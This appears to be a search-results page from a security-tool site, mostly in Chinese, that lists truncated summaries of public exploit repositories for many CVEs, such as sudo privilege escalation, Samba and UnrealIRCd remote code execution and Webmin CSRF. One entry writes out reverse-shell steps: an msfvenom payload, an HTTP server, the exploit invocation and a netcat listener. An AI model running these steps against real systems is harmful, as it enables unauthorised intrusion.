36188 matches found
CVE-2024-22274-RCE
CVE-2024-22274 漏洞利用 此仓库包含针对 CVE-2024-22274 的漏洞利用代码。该漏洞利用通过 SSH 在远程机器上创建一个新用户，然后提供一个 root shell。 要求 在您的机器上安装 Go Golang。您可以从 这里 下载。 一台具有 SSH 访问权限的远程机器。 编译 1. 克隆仓库： root@kitploit: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git cd CVE-2024-22274-RCE 2. 安装所需的包： root@kitploit: go mod...
CVE-2022-46169_POC
CVE-2022-46169 漏洞利用 获取反向Shell root@kitploit: cactiexploit.py...
CVE-2024-1874
CVE-2024-1874 针对 CVE-2024-1874 的概念验证 通过 procopen 的类数组 $command 参数实现命令注入（绕过 CVE-2024-1874 修复） 该 CVE： 在 PHP 8.1.（8.1.29 之前）、8.2. （8.2.20 之前）、8.3.（8.3.8 之前）版本中，针对 CVE-2024-1874 的修复在命令名称包含尾随空格时无效。原始问题：当使用数组语法调用 procopen 命令时，由于转义不充分，如果被执行命令的参数受到恶意用户控制，则该用户可提供参数，从而在 Windows shell 中执行任意命令。 我已经用 Python 和...
CVE-2025-32463
📌 CVE-2025-32463 — Sudo --chroot 本地权限提升 ExploitDB ID: 52352 🧠 概述 本仓库记录了一个影响 Sudo 1.9.14 – 1.9.17 版本的严重 本地权限提升（LPE） 漏洞。 该漏洞源于 sudo -R --chroot 选项的错误实现，即使 sudoers 文件中未授权 ，攻击者也能 以 root 权限执行命令 。 🔥 结果： 未授权用户 → root shell 🧩 受影响组件 软件： sudo 受影响版本： 1.9.14 1.9.15 1.9.16 1.9.17 CVE ID： CVE-2025-32463 平台：...
cve-2022-3218
步骤 1 — 创建一个真实的载荷（Windows） msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe 步骤 2 — 通过 HTTP 提供载荷服务 在同一目录下： python3 -m http.server 80 步骤 3 — 调整漏洞利用 按如下方式运行： python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe 步骤 4 — 在利用之前启动监听器 nc -lvnp 4444...
CVE-2021-31762
..| CVE-2021-31762 |.. 描述： 利用跨站请求伪造（CSRF）攻击，通过Webmin的添加用户功能创建特权用户，然后通过Webmin的运行进程功能获取反向Shell 测试版本： Webmin 1.973（GitHub最新版本 2021年7月3日） 攻击类型： 远程 影响： 远程命令执行 利用代码POC： YouTube POC： https://youtu.be/qCvEXwyaF5U 产品供应商： https://www.webmin.com 附加信息：...
CVE-2018-5955
CVE-2018-5955 针对 CVE-2018-5955 GitStack 2.3.10 未认证远程代码执行（RCE）漏洞的利用程序 漏洞利用：GitStack 2.3.10 未认证远程代码执行 日期：18.01.2018 软件链接：https://gitstack.com/ 漏洞利用作者：Kacper Szurek 原始漏洞利用：https://www.exploit-db.com/exploits/43777 网站：https://security.szurek.pl/ 类别：远程 CVE：CVE-2018-5955 由 MikeTheHash 修改的 Exploit...
CVE-2007-2447-RCE
此漏洞利用可帮助您获得反弹shell，利用Samba 3.0.20 3.0.25 · 使用python3执行脚本时带--help参数，会提示我们输入一系列参数 root@kitploit: --lhost LHOST 你的主机（接收shell的IP） --lport LPORT 你的端口（接收shell的端口） --rhost RHOST 远程主机（受害机器的IP） --rport RPORT 远程端口（受害机器的端口） · 运行脚本前请执行以下操作 root@kitploit: pip3 install pysmb · 示例 root@kitploit: python3...
Offensive-lab-2
攻击性安全实验室 : ProFTPD 1.3.3c 后门漏洞利用（获取 root 标志） 1. 介绍与目标 本报告详细介绍了对一台存在漏洞的 Linux 虚拟机 VM 进行的渗透测试，重点关注识别一个高风险服务漏洞，该漏洞允许直接获取 root 权限。 详情| 值 ---|--- 目标 IP 地址| 192.168.222.130 攻击者 IP 地址 LHOST| 192.168.222.128 目标操作系统| Ubuntu 4ubuntu2.2 Linux 内核 3.x 目标| 获取 Root 级别的 shell 并检索 flag 文件。 2. 初始枚举与漏洞识别 初始侦察包括使用...
ActiveMQ_putshell-CVE-2016-3088
ActiveMQputshell-CVE-2016-3088- ActiveMQputshell直接获取webshell Usage： python3 ActiveMQputshell.py -u url...
OffensivePascal-CVE-2010-2075
CVE-2010-2075 FreePascal 实现的 CVE-2010-2075 漏洞利用 漏洞信息 UnrealIRCd 3.2.8.1 通过向任意监听服务发送 "AB; command" 实现远程代码执行（RCE）。发送的任何命令都将以 UnrealIRCD 运行的用户身份执行。 此实现会向你的监听器发起一个反向 shell。 步骤 1 启动一个监听器，例如 netcat -lvp 4444 步骤 2 执行漏洞利用 ./exploit ，其中 host ip 和 port 是你的监听器运行的地址和端口。 依赖要求 Synapse。如果你没有安装，可以通过 OPM 进行安装。...
CVE-2023-22809
CVE-2023-22809 参考：https://vulners.com/cve/CVE-2023-22809 Exploit 标题：sudo 1.8.0 - 1.9.12p1 - 权限提升 Exploit 作者：n3m1.sys CVE：CVE-2023-22809 日期：2023/01/21 厂商主页：https://www.sudo.ws/ 软件链接：https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz 版本：1.8.0 至 1.9.12p1 测试环境：Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9...
bepr
bepr bepr 是一个小巧的认证客户端/服务器反向 Shell 程序，基于出站 WebSocket 连接。 单个二进制文件涵盖所有三种模式：服务器模式、客户端模式和用户模式。它打包了 rpm、deb 和 pkg 的安装指引，体积约 1MB。 我创建 bepr 是因为我经常旅行，希望远程控制家里的电脑，同时又不让它们暴露在公共互联网上。只需一个域名（用于 TLS）和一台服务器即可运行。 使用方法 访问 https://github.com/Aperocky/bepr/releases 找到适用于你平台的软件包版本。下载后使用以下命令安装： root@kitploit: sudo...
InfluxDB-Exploit-CVE-2019-20933
InfluxDB 漏洞利用 CVE-2019-20933 针对 InfluxDB CVE-2019-20933 漏洞的利用工具。InfluxDB 1.7.6 之前的版本在 services/httpd/handler.go 中的 authenticate 函数存在认证绕过漏洞，原因是 JWT 令牌可能具有空的 SharedSecret（即共享密钥）。 该利用工具会检查服务器是否存在漏洞，然后尝试获取远程查询 shell。它内置了一个用户名暴力破解服务。 安装 root@kitploit: git clone...
CVE-2022-31814
CVE-2022-31814 更新版利用代码 - pfBlockerNG = 2.1.426 未授权远程代码执行 CVE-2022-31814 描述 此脚本是 pfBlockerNG = 2.1.426 的概念验证利用代码，可实现远程代码执行。它接受单个目标 URL 或 URL 列表，尝试使用多个有效载荷上传 shell，执行命令，然后删除 shell。 需求 此脚本需要 Python 3.x 及安装 requests 模块。可以通过运行以下命令来安装这些模块： root@kitploit: pip3 install requests 或 root@kitploit: pip3...
CVE-2022-0848-RCE
CVE-2022-0848 part-db 0.5.11 中的远程代码执行 RCE 修改 bash 文件中的主机并运行，然后通过 RCE 获取 shell...
CVE-2020-15227
CVE-2020-15227 免责声明！对于在真实环境中使用它，我不承担任何责任，所以请不要这样做。这个东西只是为了向系统管理员演示和测试而制作的 我是根据 David Grudl（Nette 基金会的创始人）发布的 CVE 制作了这个漏洞利用程序 作为一名安全研究员，我开发了一个小怪物（当然是为了教育和演示目的，出于道德原因，我也制作了自动修复器） 该安全漏洞利用了 nette.micro 中的 callback 参数。我们不知道这个垃圾为什么存在（可能是后门功能？） 该漏洞利用程序试图从受害者服务器获取反向 shell。URL 在这里是硬编码的，所以不用担心修改漏洞利用程序。 欢迎提...
CVE-2019-9978
Social Warfare 插件 WordPress 3.5.2 远程代码执行 WordPress Social Warfare 远程代码执行（自动上传 Shell） 日期：2019年3月 下载链接：https://wordpress.org/plugins/social-warfare/ 参考：https://wpvulndb.com/vulnerabilities/9259 版本： CVE：2019-9978 用法： python script.py list-of-sites.txt...
EFS_CVE-2021-43217
EFS Bypass VulnerabilityCVE-2021-43217 Objective This vulnerability demonstration aimed to establish a controlled environment for simulating an EFS bypass on windows 10 through Kali Linux. The primary focus was to perform a vulnerability pentration and show the possiblity of controlling a desktop...